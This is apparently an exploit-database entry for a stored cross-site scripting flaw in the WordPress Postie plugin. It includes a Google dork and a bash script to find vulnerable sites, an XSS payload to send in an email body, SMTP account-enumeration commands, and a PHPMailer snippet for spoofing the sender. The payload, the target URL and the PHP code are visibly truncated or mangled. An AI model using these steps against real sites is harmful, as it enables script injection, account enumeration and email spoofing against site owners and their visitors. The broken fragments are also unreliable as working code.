# Exploit Title: WordPress Plugin Postie 1.9.40 - Persistent Cross-Site Scripting # Google Dork: inurl:/wp-content/plugins/postie/readme.txt # Date: 2020-01-15 # Exploit Author: V1n1v131r4 # Vendor Homepage: https://postieplugin.com/ # Software Link: https://wordpress.org/plugins/postie/#developers # Version: <=1.9.40 # Tested on: Linux # CVE : CVE-2019-20203, CVE-2019-20204 ## Identifying WordPress Postie Plugin installation #!/bin/bash if curl -s -o /dev/null -w "%{http_code}" http:///wp-content/plugins/postie/readme.txt | grep 200 > /dev/null; then echo "" echo "Postie installed!" else echo "" echo "Postie seems not to be installed" fi ## Performing persistent XSS using Polyglot JavaScript syntax with crafted SVG (CVE-2019-20204) # the syntax below should go as email body jaVasCript:/*--> ## Email to post on Postie - Identifying the mail server dig domain.com mx - enumerating accounts via SMTP telnet domain.com 587 EHLO buddy mail from: rcpt to: vrfy user@domain.com - listing accounts via third party software You can use these third party software and APIs to enumerate target email users: - https://www.zerobounce.net - https://tools.verifyemailaddress.io/ - https://hunter.io/email-verifier ## Spoofing with PHPMailer Mail sent!'; else echo '

Something went wrong...

'; // FULL HEADER // $headers = "From: testsite < mail@testsite.com >\n"; // $headers .= "Cc: testsite < mail@testsite.com >\n"; // $headers .= "X-Sender: testsite < mail@testsite.com >\n"; // $headers .= 'X-Mailer: PHP/' . phpversion(); // $headers .= "X-Priority: 1\n"; // $headers .= "Return-Path: mail@testsite.com\n"; // $headers .= "MIME-Version: 1.0\r\n"; // $headers .= "Content-Type: text/html; charset=iso-8859-1\n"; ?>